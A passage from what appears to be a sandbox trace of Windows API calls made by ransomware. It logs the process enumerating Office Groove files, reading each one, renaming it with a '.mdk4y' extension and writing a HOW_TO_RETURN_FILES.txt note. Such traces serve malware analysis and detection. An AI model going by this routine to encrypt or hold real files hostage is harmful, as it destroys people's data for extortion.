"c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\submit.js.mdk4y")) returned 1 [0221.113] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.113] AreFileApisANSI () returned 1 [0221.113] GetACP () returned 0x4e4 [0221.113] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="utilityfunctions.js", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="utilityfunctions.jsgif", lpUsedDefaultChar=0x37dda8) returned 19 [0221.113] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\utilityfunctions.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.113] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829634300000) returned 1 [0221.113] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xca5a, lpOverlapped=0x0) returned 1 [0221.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829635200000) returned 1 [0221.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829635200000) returned 1 [0221.123] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\utilityfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\utilityfunctions.js.mdk4y")) returned 1 [0221.124] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.124] AreFileApisANSI () returned 1 [0221.124] GetACP () returned 0x4e4 [0221.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="validation.js", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="validation.jsons.js", lpUsedDefaultChar=0x37dda8) returned 13 [0221.124] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\validation.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829635500000) returned 1 [0221.125] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x64b3, lpOverlapped=0x0) returned 1 [0221.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829635600000) returned 1 [0221.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829635700000) returned 1 [0221.127] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\validation.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\validation.js.mdk4y")) returned 1 [0221.128] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.128] AreFileApisANSI () returned 1 [0221.129] GetACP () returned 0x4e4 [0221.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VIEW.ICO", cchWideChar=8, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="VIEW.ICOon.js", lpUsedDefaultChar=0x37dda8) returned 8 [0221.129] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829635900000) returned 1 [0221.130] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x13e, lpOverlapped=0x0) returned 1 [0221.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829636000000) returned 1 [0221.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829636000000) returned 1 [0221.131] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.ico.mdk4y")) returned 1 [0221.132] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.133] AreFileApisANSI () returned 1 [0221.133] GetACP () returned 0x4e4 [0221.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VIEW.JS", cchWideChar=7, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="VIEW.JSO", lpUsedDefaultChar=0x37dda8) returned 7 [0221.133] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829636300000) returned 1 [0221.133] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x2095, lpOverlapped=0x0) returned 1 [0221.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829637200000) returned 1 [0221.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829637200000) returned 1 [0221.143] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.JS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\view.js.mdk4y")) returned 1 [0221.145] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.145] AreFileApisANSI () returned 1 [0221.145] GetACP () returned 0x4e4 [0221.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ViewHeaderPreview.jpg", cchWideChar=21, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ViewHeaderPreview.jpgf", lpUsedDefaultChar=0x37dda8) returned 21 [0221.145] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829637600000) returned 1 [0221.146] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xd78, lpOverlapped=0x0) returned 1 [0221.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829637700000) returned 1 [0221.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829637700000) returned 1 [0221.148] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg.mdk4y")) returned 1 [0221.149] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0221.149] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0221.149] AreFileApisANSI () returned 1 [0221.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0221.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0221.150] GetFileType (hFile=0x130) returned 0x1 [0221.151] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0221.151] AreFileApisANSI () returned 1 [0221.151] GetACP () returned 0x4e4 [0221.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrooveForms5", cchWideChar=12, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="GrooveForms5", lpUsedDefaultChar=0x37de34) returned 12 [0221.151] AreFileApisANSI () returned 1 [0221.151] GetACP () returned 0x4e4 [0221.151] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=83, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\瞈㲣瞈鑖瞣_") returned 83 [0221.265] AreFileApisANSI () returned 1 [0221.265] GetACP () returned 0x4e4 [0221.265] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 1 [0221.265] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.381] AreFileApisANSI () returned 1 [0221.381] GetACP () returned 0x4e4 [0221.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 2 [0221.381] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.381] AreFileApisANSI () returned 1 [0221.381] GetACP () returned 0x4e4 [0221.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ADD.GIF", cchWideChar=7, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ADD.GIFxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 7 [0221.381] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\add.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.383] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829661300000) returned 1 [0221.383] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x244, lpOverlapped=0x0) returned 1 [0221.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829661400000) returned 1 [0221.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829661400000) returned 1 [0221.384] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\add.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\add.gif.mdk4y")) returned 1 [0221.386] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.386] AreFileApisANSI () returned 1 [0221.386] GetACP () returned 0x4e4 [0221.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="attention.gif", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="attention.gifTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 13 [0221.387] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\attention.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829661700000) returned 1 [0221.387] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xae8, lpOverlapped=0x0) returned 1 [0221.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829662600000) returned 1 [0221.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829662600000) returned 1 [0221.396] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\attention.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\attention.gif.mdk4y")) returned 1 [0221.398] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.398] AreFileApisANSI () returned 1 [0221.398] GetACP () returned 0x4e4 [0221.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CALENDAR.GIF", cchWideChar=12, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CALENDAR.GIFf", lpUsedDefaultChar=0x37dda8) returned 12 [0221.398] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\calendar.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829663100000) returned 1 [0221.409] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x383, lpOverlapped=0x0) returned 1 [0221.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829664100000) returned 1 [0221.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829664100000) returned 1 [0221.411] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\calendar.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\CALENDAR.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\calendar.gif.mdk4y")) returned 1 [0221.414] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.414] AreFileApisANSI () returned 1 [0221.415] GetACP () returned 0x4e4 [0221.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DELETE.GIF", cchWideChar=10, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="DELETE.GIFIF", lpUsedDefaultChar=0x37dda8) returned 10 [0221.415] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\delete.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829664500000) returned 1 [0221.416] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x271, lpOverlapped=0x0) returned 1 [0221.416] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829664600000) returned 1 [0221.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829664700000) returned 1 [0221.417] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\delete.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\delete.gif.mdk4y")) returned 1 [0221.419] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.419] AreFileApisANSI () returned 1 [0221.419] GetACP () returned 0x4e4 [0221.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ERROR.GIF", cchWideChar=9, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ERROR.GIFF", lpUsedDefaultChar=0x37dda8) returned 9 [0221.419] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\error.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829665000000) returned 1 [0221.420] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x369, lpOverlapped=0x0) returned 1 [0221.451] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829668100000) returned 1 [0221.451] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829668100000) returned 1 [0221.451] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\error.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ERROR.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\error.gif.mdk4y")) returned 1 [0221.453] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.453] AreFileApisANSI () returned 1 [0221.453] GetACP () returned 0x4e4 [0221.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FORM.JS", cchWideChar=7, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FORM.JSIF", lpUsedDefaultChar=0x37dda8) returned 7 [0221.454] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FORM.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829668400000) returned 1 [0221.454] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x14484, lpOverlapped=0x0) returned 1 [0221.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829676300000) returned 1 [0221.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829676300000) returned 1 [0221.534] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FORM.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FORM.JS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\form.js.mdk4y")) returned 1 [0221.537] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 